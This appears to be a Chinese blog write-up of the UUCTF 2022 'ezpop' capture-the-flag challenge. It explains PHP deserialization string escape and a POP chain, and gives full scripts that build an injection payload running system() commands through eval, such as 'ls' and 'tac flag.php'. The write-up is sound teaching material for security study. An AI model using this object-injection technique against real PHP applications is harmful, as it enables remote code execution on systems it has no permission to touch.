当前位置: 首页 > article >正文

[UUCTF 2022 新生赛]ezpop 详细题解(字符串逃逸)

知识点:

php反序列化字符串逃逸
php反序列化魔术方法
构造pop链
变量引用

其实这一题还是比较简单的,只要看懂代码,并且理解为什么要用反序列化字符串逃逸,下面会详细解释

题目源码:

<?php
//flag in flag.php
error_reporting(0);
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
    if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
class output{
    public $a;
    function __toString(){
        $this->a->rce();
    }
}
class nothing{
    public $a;
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);
    }
}
class youwant{
    public $cmd;
    function rce(){
        eval($this->cmd);
    }
}
$pdata=$_POST["data"];
if(isset($pdata))
{
    $data=serialize(new UUCTF($pdata));
    $data_replace=str_replace("hacker","loveuu!",$data);
    unserialize($data_replace);
}else{
    highlight_file(__FILE__);
}
?>

第一眼看到有很多类以及后面的反序列化函数,并且代码中间看到了eval()命令执行函数,那么基本上就需要构造pop链,先不看最后面的代码,先构造pop链

构造pop链

从后往前推,最终要执行eval($this->cmd); 需要执行rce()函数  output类中可以执行rce()函数,把output类中属性a赋值为youwant类对象
toString()方法会在一个对象被当作字符串时被调用,发现nothing类中有die方法,die是触发tostring魔术方法的方式,当die函数中的参数是字符串时,执行die函数就会输出字符串,让output类对象作为参数即可触发toString()方法

但是题目的版本是PHP/7.2.34        
__wakeup()绕过漏洞存在的版本需要满足  PHP5 < 5.6.25     PHP7 < 7.0.10  
这里无法绕过nothing类中的wakeup方法,参数a会被赋值为空字符串,无法赋值触发toString()

不过代码  $this->b=$this->t;  将t赋给了b,虽然a不能改,但是可以让a、b同用一个地址,那么b发生变化,a也随之变化,把t赋值为output类对象,这样 a b 就都是output类对象 

__destruct()方法在反序列化执行结束自动调用,到此完成构造

pop链就是 youwant::rce() -> output::toString() -> nothing::destruct()

<?php
class output{
    public $a;   // 2 赋值为nothing类对象
    }
class nothing{
    public $a;  //  3 变量引用b,与b共用一个地址
    public $b; 
    public $t;   // 3 赋值为youwant类对象
}
class youwant{
    public $cmd;  // 1 命令执行
}

$a = new youwant();
$a->cmd = 'system("ls");';
$b = new output();
$b->a = $a;
$c = new nothing();
$c->a = &$c->b;
$c->t = $b;
echo serialize($c);
//结果是 O:7:"nothing":3:{s:1:"a";N;s:1:"b";R:2;s:1:"t";O:6:"output":1:{s:1:"a";O:7:"youwant":1:{s:3:"cmd";s:3:"system("ls");";}}}

为什么要利用php反序列化字符串逃逸?

刚才没看最后的代码部分,现在来看,先序列化一个UUCTF类对象,然后对序列化的字符串进行替换,把hacker替换为loveuu!  然后执行反序列化操作

关键在于只有上面构造的序列化字符串经过反序列化之后才会执行eval()函数,这里反序列化的是UUCTF类对象序列化后的字符串,明显是不会执行eval函数的

注意到UUCTF类中

if($this->key==="UUCTF")
    $this->ob=unserialize(base64_decode($this->basedata));

这里也可以执行反序列化操作,那么思路就是让属性basedata 赋值为上面构造的序列化字符串的base64加密形式,在代码最后一行的unserialize($data_replace)反序列化函数执行之前会自动触发wakeup方法,如果key==="UUCTF"即可执行,达到目的

<?php
class UUCTF{
    public $name,$key,$basedata,$ob;
}
$a = new UUCTF();
$a->key="UUCTF";
$a->basedata = "Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";
echo serialize($a);

//结果 O:5:"UUCTF":4:{s:4:"name";N;s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;}

上面序列化得到的结果是我们想要的,但是怎么才能构造出来呢?

代码中 $data=serialize(new UUCTF($pdata));  我们能控制的变量只有UUCTF类中的name属性,

其他属性都无法赋值,假如给name赋值为abc 那么就类似于

O:5:"UUCTF":4:{s:4:"name";s:3:"abc";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}

N表示这是一个NULL值,即没有赋值

如果要执行eval()函数,key必须是UUCTF  basedata必须是构造好的可以执行eval()函数的序列化字符串,ob是结果,和basedata绑定, 只有name属性是随意的,所以在name处进行字符串逃逸

字符串逃逸:

代码中会把hacker替换为loveuu!   6个字符变为7个字符,长度增加,但是序列化字符串格式前面的个数是没变的,替换就会长度不匹配导致反序列化操作失败,但是这个替换操作会有很大的危害

O:5:"UUCTF":4:{s:4:"name";N;s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;}

上面这个序列化字符串是我们想要的格式,下面这个是题目代码中执行的基本格式

O:5:"UUCTF":4:{s:4:"name";s:3:"abc";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}

我们能够控制的只有里面的name的值

";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;}

上面字符串长度是262 如果在这个字符串前面加上262个hacker,长度变262+6*262=7*262=1834 

替换之后变成

O:5:"UUCTF":4:{s:4:"name";s:1834:"262个loveuu!";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;}s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}

1834对应了262个loveuu! 后面一直到6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;} 此时一切都是正常的,反序列化函数看到;} 就当作结束符号,后面的都会忽略掉,此时最后面的key basedata都会无效,有效的就是前面构造的key和basedata,完成字符串逃逸,反序列化之后即可正常执行eval()函数

下面是完整的代码

<?php
class UUCTF{
    public $name,$key,$basedata,$ob;
}
class output{
    public $a;  
}
class nothing{
    public $a;  
    public $b;
    public $t;
}
class youwant{
    public $cmd; 
    }

$a = new youwant();
$a->cmd = 'system("ls");';
$b = new output();
$b->a = $a;
$c = new nothing();
$c->a = &$c->b;
$c->t = $b;
$basedata = base64_encode(serialize($c));

$post='";s:3:"key";s:5:"UUCTF";s:2:"ob";N;s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";}';
for($i=0;$i<strlen($post);$i++)
{
  $hacker=$hacker.'hacker';

}
echo $hacker.$post;

得到结果之后post传参给data   可以看到flag.php 

然后把ls 改为 tac flag.php 即可得到flag


http://www.kler.cn/a/376417.html

相关文章:

  • 群控系统服务端开发模式-应用开发-上传配置功能开发
  • Linux高阶——1027—守护进程
  • 文件管理软件根据多个关键字将不同目录下的文件夹批量复制或移动到新的指定文件夹,完成大量文件夹和文件管理任务
  • SpringBoot中扩展Druid的过滤器实现完整的SQL打印
  • LocalDate 类常用方法详解(日期时间类)
  • 网络:IP分片和组装
  • 树莓派5实时时钟(RTC)
  • Ubuntu18升级cmake3.10到cmake3.18
  • AG32系列只用CPLD功能的,CLK从哪个引脚输入呢
  • BGP实验--BGP路由反射器
  • 电能质量治理产品在分布式光伏电站的应用
  • centos 7.9 下载安装mysql5.7
  • 前端 react 面试题(二)
  • JAVA利用方法实现四道题
  • Spring AI : 让ChatGPT成为你构建应用的核心亮点
  • 字符串统计(Python)
  • 什么是 HTTP 代理?它如何工作?
  • Unity 6 来袭
  • 一个系列搞懂23种设计模式
  • 服务器与服务器之间文件上传下载
  • 基于java的移动端自动化测试 - appium-client api -DesiredCapabilities属性有哪些?
  • Mac 配置SourceTree集成云效
  • uniapp 使用 websocket
  • 从方言对话这枚“落子”,看AI手机“棋局”的尴尬赛点
  • Ansible 部署应用
  • 数据结构(Java)—— 认识泛型